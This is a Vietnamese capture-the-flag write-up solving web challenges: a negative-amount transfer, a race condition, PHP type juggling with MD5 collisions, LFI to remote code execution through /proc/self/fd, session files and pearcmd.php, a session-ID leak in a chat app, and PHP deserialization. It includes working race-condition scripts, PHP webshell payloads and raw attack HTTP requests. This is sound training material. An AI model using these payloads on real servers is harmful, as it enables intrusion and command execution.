## WEB
### Be Positive
Một bài liên quan đến IDOR, ở đây chúng ta sẽ đăng nhập dưới 2 tài khoản là `alice:alice` và `bob:bob`.

Tài khoản `bob` hay `alice` có $1500 và trong khi đó cần $3001 để có flag. Ở đây lợi dụng chức năng `Transfer`, setup số tiền là âm, lúc đó tài khoản người dùng sẽ được cộng thêm vào.


Flag: `CHH{BE_cAr3fUL_WitH_NE6ATIV3_NumBeR_adfa1e86f4b1948f03ffcaa99c38317d}`
### Slow Down
Tương tự như `Be Positive` nhưng ở `Transfer` đã filter số âm.
#### Cách 1:
Tác giả đã hint là `Slow Down` nên ở bài này chúng ta có thể tận dụng lỗi `Race Conditions`. Tạo 2 trang khác nhau, đăng nhập cùng 1 loại tài khoản, sau đó chuyển đồng thời cho tài khoản còn lại.

Code tham khảo:
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://slow-down-44f3a156.dailycookie.cloud/?action=transfer', cookies={"PHPSESSID": "e4dbc35e8795f3889acff05a0baff65d"}, data={"amount": "100.849%","recipient":"alice"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
#### Cách 2:
Lợi dụng việc cast của PHP, ta có thể sử dụng cách sau:


Flag: `CHH{ea5y_RaCe_CONd17iOn_45fc473c70829ee2064408ad4b969571}`
`Ngoại lai:`

### Magic Login
Một bài liên quan đến `Type Juggling`. Check qua 1 chút trang web thì ta có được:

`$pass` được băm với hash `sha256`, sau đó sẽ `Loose comparison` với 0.
Ta có:

Điền vào rồi sẽ đến được trang Upload file, sử dụng file shell và lấy flag.
Flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_1fd2c2d351c09b6f835ad27db97e9847}`
### Magic Login Harder
Vào bài ta sẽ đến 1 trang đăng nhập, check source để hiểu thêm về cơ chế:
```php
<?php
if(isset($_POST["submit"])){
$username = base64_decode($_POST['username']);
$password = base64_decode($_POST['password']);
if(($username == $password)){
echo 'Username and password are not the same';
}
else if((md5($username)===md5($password))){
$_SESSION['username'] = $username;
header('Location: admin.php?file=1.txt');
} else {
echo 'Username and password are wrong';
}
}
?>
```
Yêu cầu về `$username` và `$password` khác nhau nhưng hash md5 cần phải giống nhau. Research 1 chút ta sẽ có: https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
```python
import base64
x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
print(base64.b64encode(x))
print(base64.b64encode(y))
```
Sau khi đăng nhập vào trang, ta sẽ được dẫn tới đường dẫn `/admin.php?file=1.txt`. Check source:
```php
<?php
header('Content-Type: text/html; charset=utf-8');
session_start();
if($_SESSION['username'] != null){
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
}
else{
die("Only admin can use this");
}
?>
```
Qua trên ta có thể tận dụng được lỗi LFI. Mình tham khảo qua một số WU và rút ra được 2 hướng giải.
#### Cách 1:
Sử dụng `proc/self/fd/N`.
`proc`: là một file system chứa thông tin của process hiện tại.
`self`: để lấy information about itself, self giúp chỉ hướng tới process hiện tại mà không cần process id. Có thể thay self bằng các PID khác.
Nguồn:
+ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal#path-traversal
+ https://man7.org/linux/man-pages/man5/proc.5.html
+ https://unix.stackexchange.com/questions/676683/what-does-the-output-of-ll-proc-self-fd-from-ll-dev-fd-mean
Bruteforce sẽ tìm được N=4:

Đoạn text đưa ra sẽ là nội dung của `username`. Thực hiện thay đổi nội dung của `username`:
```python
import hashlib
import base64
x = "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f8955ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
y = "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f8955ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
x = bytes.fromhex(x)
y = bytes.fromhex(y)
z = b"<?php system($_GET['cmd']);?>"
print(base64.b64encode(x+z))
print(base64.b64encode(y+z))
```

#### Cách 2:
Sử dụng `/tmp/sess_<PHPSESSID>`.
Khi thử deploy trên Docker ta sẽ thấy: `session.upload_progress.enabled => On => On`. Theo như research: Sau khi biết được chức năng của php là ghi vào session, mà session mặc định được lưu ở `/tmp/sess_sessid`.

Truy cập vào path:

Upshell thông qua như `username` như ở trên.
#### Cách 3:
`LFI2RCE via Pearcmd.php`.
PEAR là viết tắt của PHP Extension and Application Repository.
PEAR có đường dẫn cài đặt mặc định là: `/usr/local/lib/php/pearcmd.php`
Điều kiện để làm theo phương pháp này là tham số `register_argc_argv` trong `php.ini` để `ON`. Khi tham số được bật thì có thể truyền thông số từ web thông qua `$_SERVER['argv']`.
Mình sẽ demo nhanh qua payload, đi chuyên sâu vào mình sẽ cố gắng phân tích ở bài khác
```
GET /admin.php?file=+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system($_GET['cmd']);?>+/tmp/nemnem.php HTTP/1.1
Host: 103.97.125.53:31272
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=116d3e88b0b9adad0747e32655d3ad7f
Connection: close
```
Truy cập vào file để chạy shell
```
GET /admin.php?file=/tmp/nemnem.php&cmd=ls+/ HTTP/1.1
Host: 103.97.125.53:31272
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=116d3e88b0b9adad0747e32655d3ad7f
Connection: close
```
Flag: `CHH{7yPE_jU66lin9_hArdEr_08a380c67b5e68a560e9719e58f93be8}`
### Pass Code
Một bài dạng JS Obfuscator. Đầu tiên sử dụng https://beautifier.io/ để làm đẹp lại code.Ta sẽ thấy sử dụng thuật toán AES để mã hóa

Tiến hành đặt breakpoint và tìm `key`:

Flag:`CHH{jAvAscRIP7_o8FuSCaTe_987245a059b42f3ad64ad3e9e5cc15eb}`
Bonus: có thể dùng Deobfuscator: https://deobfuscate.relative.im/

### Suck it
Bài này sẽ đưa cho chúng ta giao diện là 1 kênh chat:

Check source để có đương phương án giải:
```javascript
socket.on("private message", ({ content, to }) => {
const message = {
content,
from: socket.userID,
to,
};
switch(to){
case "thangbanthan":
message.content = "T đang bận, 5p sau t trả lời. Sau 5p, k thấy trả lời thì xem lại tn này.";
message.from = to;
message.to = socket.userID
socket.emit("private message", message);
break;
case "nguoiyeudonphuong":
const cachcrushtraloi = ['uh','ok','um','seen','seen','seen','seen','seen','seen','seen','seen']
var reg1 = /n\s*?g\s*?.\s*?.\s*?i\s*?y?\s*?.\s*?u/g
var reg2 = /b\s*?.\s*?n\s*?g?\s*?.\s*?i/g
message.content=cachcrushtraloi[Math.floor(Math.random() * cachcrushtraloi.length)];
if(content.match(reg1)||content.match(reg2)){ "chê"; }
message.from = to;
message.to = socket.userID
socket.emit("private message", message);
break;
case "nguoiyeucuaADMIN":
if(socket.userID !== "ADMIN"){
message.content="I do not associate with n.....on-Admin";
}else{
message.content="Đêm qua em tuyệt lắm: \n"+FLAG;
}
message.from = to;
message.to = socket.userID
socket.emit("private message", message);
break;
case "buctuong":
break;
default:
socket.to(to).to(socket.userID).emit("private message", message);
messageStore.saveMessage(message);
}
});
```
Vậy là chúng ta cần nhắn tin cho `nguoiyencuaAMIN` dưới `userID` của ADMIN.
```javascript
io.on("connection", async (socket) => {
// persist session
sessionStore.saveSession(socket.sessionID, {
userID: socket.userID,
username: socket.username,
connected: true,
});
```
```javascript
sessionStore.saveSession(adminID, {
userID: 'ADMIN',
username: 'Admin',
connected: false,
});
```
Mục tiêu là cần đăng nhập dưới `sessionID` của ADMIN, sau đó nhắn tin cho người yêu để lấy được FLAG.
Lợi dụng đoạn code dưới đây để lấy được`sessionID`:
```javascript
socket.on("force disconnect",async (userID,secretKey)=>{
// check valid account
if (secretKey !== "574a94b04f303f5663e833b883cd2b23"){
socket.emit("This secret key is wrong.")
}
else{
const targetSocket = await sessionStore.findSessionsByUserID(userID);
const matchingSockets = await io.in(targetSocket.userID).allSockets();
const isDisconnected = matchingSockets.size === 0;
if (isDisconnected) {
// notify other users
socket.broadcast.emit("user disconnected", targetSocket.userID);
// update the connection status of the session
socket.emit(targetSocket.sessionID);
sessionStore.saveSession(targetSocket.sessionID, {
userID: targetSocket.userID,
username:targetSocket.username,
connected: false,
});
}};
});
```
Khi thực hiện việc `force disconnect`, ta có thể kick bất kì ai ra, sau đó phía sever sẽ gửi lại cho ta `sessionID` của người đó.

Đăng nhập dưới `sessionID` của ADMIN.


Flag:`CHH{H4ve_y0u_re4d_th3_m3ssage_d4599feef94942be665925aea8e50a9e}`
### Video Link Extractor
Một bài với mức độ Hard trong CHH, chúng ta cùng xem qua nhé.

Trang web có chức năng cho phép chúng ta Extract video, cùng check qua source để biết thêm về cách hoạt động.
```php
error_reporting(E_ERROR | E_PARSE);
require("utils.php");
$utils = new Utils(); // tạo mới Utils
$parameter = $_GET; // Mảng para
$utils ->_file = "format.php"; // Gọi đến trang format và sử dụng wake up để include vào trang index.php
if (isset($parameter['mode'])) {
switch ($parameter['mode']) {
case "extract": // trích xuất
$utils ->_id = $parameter['id'];
$utils ->_host = $parameter['host'];
$result = $utils->extract_video_information();
print($utils);
break;
case "redirect": // chuyển hướng
$url = $parameter['url'];
header("Location: ".$url);
}
}
```
Ở `index.php` chúng ta sẽ có 2 lựa chọn của `mode` là `extract` và `redirect`. Việc sử dụng `redirect` sẽ thiết lập `Location`, điều hướng trang web cho ta.
```php
public function __wakeup(){
try
{
// check if format file is exists?
include $this->_file;
}
catch (Exception $e)
{
throw $e;
}
}
```
```php
case "local":
//$link = $this->_id;
$link = "http://localhost:1337/".$this->_id;
// $link = "http://localhost:1337/?mode=redirect&url=..."
$serial_obj = file_get_contents($link);
$content = unserialize($serial_obj);
break;
```
Vậy hướng giải bài này là chúng ta sẽ điều chỉnh `$this->_id` sao cho ghi thực hiện `file_get_contents` của case `local` sẽ kích hoạt `mode == "redirect"`, điều hướng tới trang chúng ta chứa malicius code, `unserialize` để gọi đến `__wakeup()` và thực hiện việc `include $this->_file`.
Code exploit:
```php
<?php
class Utils{
public $_file;
public function __construct()
{
$this->_file = "php://filter/convert.base64-encode/resource=flag.php";
}
}
$a = new Utils;
echo serialize($a);
// O:5:"Utils":1:{s:5:"_file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
?>
```

Thực hiện việc Inject vào url:

Flag:`CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_5826741fbcb9a872d3a8be90832bb02a}`